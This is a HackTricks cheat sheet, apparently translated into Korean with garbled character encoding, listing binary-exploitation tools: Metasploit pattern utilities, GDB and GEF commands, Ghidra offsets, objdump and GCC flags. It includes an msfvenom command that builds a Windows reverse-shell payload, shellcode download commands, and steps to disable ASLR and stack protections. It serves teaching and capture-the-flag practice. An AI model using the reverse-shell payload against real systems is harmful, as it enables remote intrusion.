Exploiting Tools

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Metasploit

pattern_create.rb -l 3000   #Length
pattern_offset.rb -l 3000 -q 5f97d534   #Search offset
nasm_shell.rb
nasm> jmp esp   #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01

์‰˜์ฝ”๋“œ

msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c

GDB

์„ค์น˜

apt-get install gdb

๋งค๊ฐœ๋ณ€์ˆ˜

-q #ย No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> #ย Attach to process

์ง€์นจ

run # Execute
start # Start and break in main
n/next/ni # Execute next instruction (no inside)
s/step/si # Execute next instruction
c/continue # Continue until next breakpoint
p system # Find the address of the system function
set $eip = 0x12345678 # Change value of $eip
help # Get help
quit # exit

# Disassemble
disassemble main # Disassemble the function called main
disassemble 0x12345678 # Disassemble taht address
set disassembly-flavor intel # Use intel syntax
set follow-fork-mode child/parent # Follow child/parent process

# Breakpoints
br func # Add breakpoint to function
br *func+23
br *0x12345678
del <NUM> # Delete that number of breakpoint
watch EXPRESSION # Break if the value changes

# info
info functions --> Info abount functions
info functions func --> Info of the funtion
info registers --> Value of the registers
bt # Backtrace Stack
bt full # Detailed stack
print variable
print 0x87654321 - 0x12345678 # Caculate

# x/examine
examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
x/o 0xDir_hex
x/2x $eip # 2Words from EIP
x/2x $eip -4 # $eip - 4
x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
i r eip # Value of $eip
x/w pointer # Value of the pointer
x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP

GEF

๋‹น์‹ ์€ ์„ ํƒ์ ์œผ๋กœ ์ด GE์˜ ํฌํฌF๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ํฌํฌ๋Š” ๋” ํฅ๋ฏธ๋กœ์šด ์ง€์นจ์„ ํฌํ•จํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

help memory # Get help on memory command
canary # Search for canary value in memory
checksec #Check protections
p system #Find system function address
search-pattern "/bin/sh" #Search in the process memory
vmmap #Get memory mappings
xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
got #Check got table
memory watch $_got()+0x18 5 #Watch a part of the got table

# Vulns detection
format-string-helper #Detect insecure format strings
heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

#Shellcode
shellcode search x86 #Search shellcodes
shellcode get 61 #Download shellcode number 61

#Dump memory to file
dump binary memory /tmp/dump.bin 0x200000000 0x20000c350

#Another way to get the offset of to the RIP
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- efโžค  i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gefโžค  pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely

Tricks

GDB ๋™์ผ ์ฃผ์†Œ

๋””๋ฒ„๊น… ์ค‘ GDB๋Š” ์‹คํ–‰๋  ๋•Œ ๋ฐ”์ด๋„ˆ๋ฆฌ์—์„œ ์‚ฌ์šฉ๋˜๋Š” ์ฃผ์†Œ์™€ ์•ฝ๊ฐ„ ๋‹ค๋ฅธ ์ฃผ์†Œ๋ฅผ ๊ฐ€์ง‘๋‹ˆ๋‹ค. GDB๊ฐ€ ๋™์ผํ•œ ์ฃผ์†Œ๋ฅผ ๊ฐ€์ง€๋„๋ก ํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•˜์‹ญ์‹œ์˜ค:

  • unset env LINES
  • unset env COLUMNS
  • set env _=<path> ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ์ž…๋ ฅํ•˜์„ธ์š”
  • ๋™์ผํ•œ ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ต์Šคํ”Œ๋กœ์ž‡ํ•ฉ๋‹ˆ๋‹ค.
  • GDB๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ์™€ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์ต์Šคํ”Œ๋กœ์ž‡ํ•  ๋•Œ PWD์™€ OLDPWD๋Š” ๋™์ผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

ํ˜ธ์ถœ๋œ ํ•จ์ˆ˜ ์ฐพ๊ธฐ ์œ„ํ•œ ๋ฐฑํŠธ๋ ˆ์ด์Šค

์ •์  ๋งํฌ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์žˆ์„ ๋•Œ ๋ชจ๋“  ํ•จ์ˆ˜๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ์— ์†ํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค(์™ธ๋ถ€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ์•„๋‹˜). ์ด ๊ฒฝ์šฐ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ์š”์ฒญํ•˜๋Š” ํ๋ฆ„์„ ์‹๋ณ„ํ•˜๊ธฐ ์–ด๋ ค์šธ ๊ฒƒ์ž…๋‹ˆ๋‹ค.
์ด ํ๋ฆ„์€ gdb๋กœ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜์—ฌ ์ž…๋ ฅ์„ ์š”์ฒญํ•  ๋•Œ๊นŒ์ง€ ์‰ฝ๊ฒŒ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฐ ๋‹ค์Œ CTRL+C๋กœ ์ค‘์ง€ํ•˜๊ณ  bt (๋ฐฑํŠธ๋ ˆ์ด์Šค) ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ ํ˜ธ์ถœ๋œ ํ•จ์ˆ˜๋ฅผ ํ™•์ธํ•˜์‹ญ์‹œ์˜ค:

gefโžค  bt
#0  0x00000000004498ae in ?? ()
#1  0x0000000000400b90 in ?? ()
#2  0x0000000000400c1d in ?? ()
#3  0x00000000004011a9 in ?? ()
#4  0x0000000000400a5a in ?? ()

GDB ์„œ๋ฒ„

gdbserver --multi 0.0.0.0:23947 (IDA์—์„œ๋Š” Linux ๋จธ์‹ ์˜ ์‹คํ–‰ ํŒŒ์ผ์˜ ์ ˆ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ์ž…๋ ฅํ•ด์•ผ ํ•˜๊ณ  Windows ๋จธ์‹ ์—์„œ๋„ ๋งˆ์ฐฌ๊ฐ€์ง€์ž…๋‹ˆ๋‹ค)

Ghidra

์Šคํƒ ์˜คํ”„์…‹ ์ฐพ๊ธฐ

Ghidra๋Š” ๋กœ์ปฌ ๋ณ€์ˆ˜์˜ ์œ„์น˜์— ๋Œ€ํ•œ ์ •๋ณด ๋•๋ถ„์— ๋ฒ„ํผ ์˜ค๋ฒ„ํ”Œ๋กœ์šฐ์˜ ์˜คํ”„์…‹์„ ์ฐพ๋Š” ๋ฐ ๋งค์šฐ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.
์˜ˆ๋ฅผ ๋“ค์–ด, ์•„๋ž˜ ์˜ˆ์ œ์—์„œ local_bc์˜ ๋ฒ„ํผ ํ๋ฆ„์€ 0xbc์˜ ์˜คํ”„์…‹์ด ํ•„์š”ํ•จ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. ๋˜ํ•œ, local_10์ด ์นด๋‚˜๋ฆฌ ์ฟ ํ‚ค์ธ ๊ฒฝ์šฐ, local_bc์—์„œ ์ด๋ฅผ ๋ฎ์–ด์“ฐ๋ ค๋ฉด 0xac์˜ ์˜คํ”„์…‹์ด ํ•„์š”ํ•จ์„ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
Remember that the first 0x08 from where the RIP is saved belongs to the RBP.

qtool

qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog

๋ชจ๋“  ์‹คํ–‰๋œ opcode๋ฅผ ํ”„๋กœ๊ทธ๋žจ์—์„œ ๊ฐ€์ ธ์˜ต๋‹ˆ๋‹ค.

GCC

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2 โ€“> ๋ณดํ˜ธ ์—†์ด ์ปดํŒŒ์ผ
-o โ€“> ์ถœ๋ ฅ
-g โ€“> ์ฝ”๋“œ ์ €์žฅ (GDB๊ฐ€ ์ด๋ฅผ ๋ณผ ์ˆ˜ ์žˆ์Œ)
echo 0 > /proc/sys/kernel/randomize_va_space โ€“> ๋ฆฌ๋ˆ…์Šค์—์„œ ASLR ๋น„ํ™œ์„ฑํ™”

์‰˜์ฝ”๋“œ๋ฅผ ์ปดํŒŒ์ผํ•˜๋ ค๋ฉด:
nasm -f elf assembly.asm โ€“> โ€œ.oโ€ ๋ฐ˜ํ™˜
ld assembly.o -o shellcodeout โ€“> ์‹คํ–‰ ํŒŒ์ผ

Objdump

-d โ€“> ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ์„น์…˜์„ ๋””์Šค์–ด์…ˆ๋ธ” (์ปดํŒŒ์ผ๋œ ์‰˜์ฝ”๋“œ์˜ opcodes ๋ณด๊ธฐ, ROP Gadgets ์ฐพ๊ธฐ, ํ•จ์ˆ˜ ์ฃผ์†Œ ์ฐพ๊ธฐโ€ฆ)
-Mintel โ€“> Intel ๊ตฌ๋ฌธ
-t โ€“> ๊ธฐํ˜ธ ํ…Œ์ด๋ธ”
-D โ€“> ๋ชจ๋‘ ๋””์Šค์–ด์…ˆ๋ธ” (์ •์  ๋ณ€์ˆ˜์˜ ์ฃผ์†Œ)
-s -j .dtors โ€“> dtors ์„น์…˜
-s -j .got โ€“> got ์„น์…˜
-D -s -j .plt โ€“> plt ์„น์…˜ ๋””์ปดํŒŒ์ผ๋จ
-TR โ€“> ์žฌ๋ฐฐ์น˜
ojdump -t โ€“dynamic-relo ./exec | grep puts โ€“> GOT์—์„œ ์ˆ˜์ •ํ•  โ€œputsโ€œ์˜ ์ฃผ์†Œ
objdump -D ./exec | grep โ€œVAR_NAMEโ€ โ€“> ์ •์  ๋ณ€์ˆ˜์˜ ์ฃผ์†Œ (์ด๋“ค์€ DATA ์„น์…˜์— ์ €์žฅ๋จ).

Core dumps

  1. ํ”„๋กœ๊ทธ๋žจ์„ ์‹œ์ž‘ํ•˜๊ธฐ ์ „์— ulimit -c unlimited ์‹คํ–‰
  2. sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t ์‹คํ–‰
  3. sudo gdb โ€“core=<path/core> โ€“quiet

More

ldd executable | grep libc.so.6 โ€“> ์ฃผ์†Œ (ASLR๊ฐ€ ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ ๋งค๋ฒˆ ๋ณ€๊ฒฝ๋จ)
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done โ€“> ์ฃผ์†Œ๊ฐ€ ๋งŽ์ด ๋ณ€๊ฒฝ๋˜๋Š”์ง€ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•œ ๋ฃจํ”„
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system โ€“> โ€œsystemโ€œ์˜ ์˜คํ”„์…‹
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh โ€“> โ€œ/bin/shโ€œ์˜ ์˜คํ”„์…‹

strace executable โ€“> ์‹คํ–‰ ํŒŒ์ผ์— ์˜ํ•ด ํ˜ธ์ถœ๋œ ํ•จ์ˆ˜
rabin2 -i ejecutable โ€“> ๋ชจ๋“  ํ•จ์ˆ˜์˜ ์ฃผ์†Œ

Inmunity debugger

!mona modules    #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)

IDA

์›๊ฒฉ ๋ฆฌ๋ˆ…์Šค์—์„œ ๋””๋ฒ„๊น…

IDA ํด๋” ์•ˆ์—๋Š” ๋ฆฌ๋ˆ…์Šค์—์„œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋””๋ฒ„๊น…ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ ‡๊ฒŒ ํ•˜๋ ค๋ฉด linux_server ๋˜๋Š” linux_server64 ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ฆฌ๋ˆ…์Šค ์„œ๋ฒ„ ์•ˆ์œผ๋กœ ์ด๋™์‹œํ‚ค๊ณ  ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ํฌํ•จ๋œ ํด๋” ์•ˆ์—์„œ ์‹คํ–‰ํ•˜์„ธ์š”:

./linux_server64 -Ppass

๊ทธ๋Ÿฐ ๋‹ค์Œ ๋””๋ฒ„๊ฑฐ๋ฅผ ๊ตฌ์„ฑํ•ฉ๋‹ˆ๋‹ค: Debugger (linux remote) โ€“> Proccess optionsโ€ฆ:

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ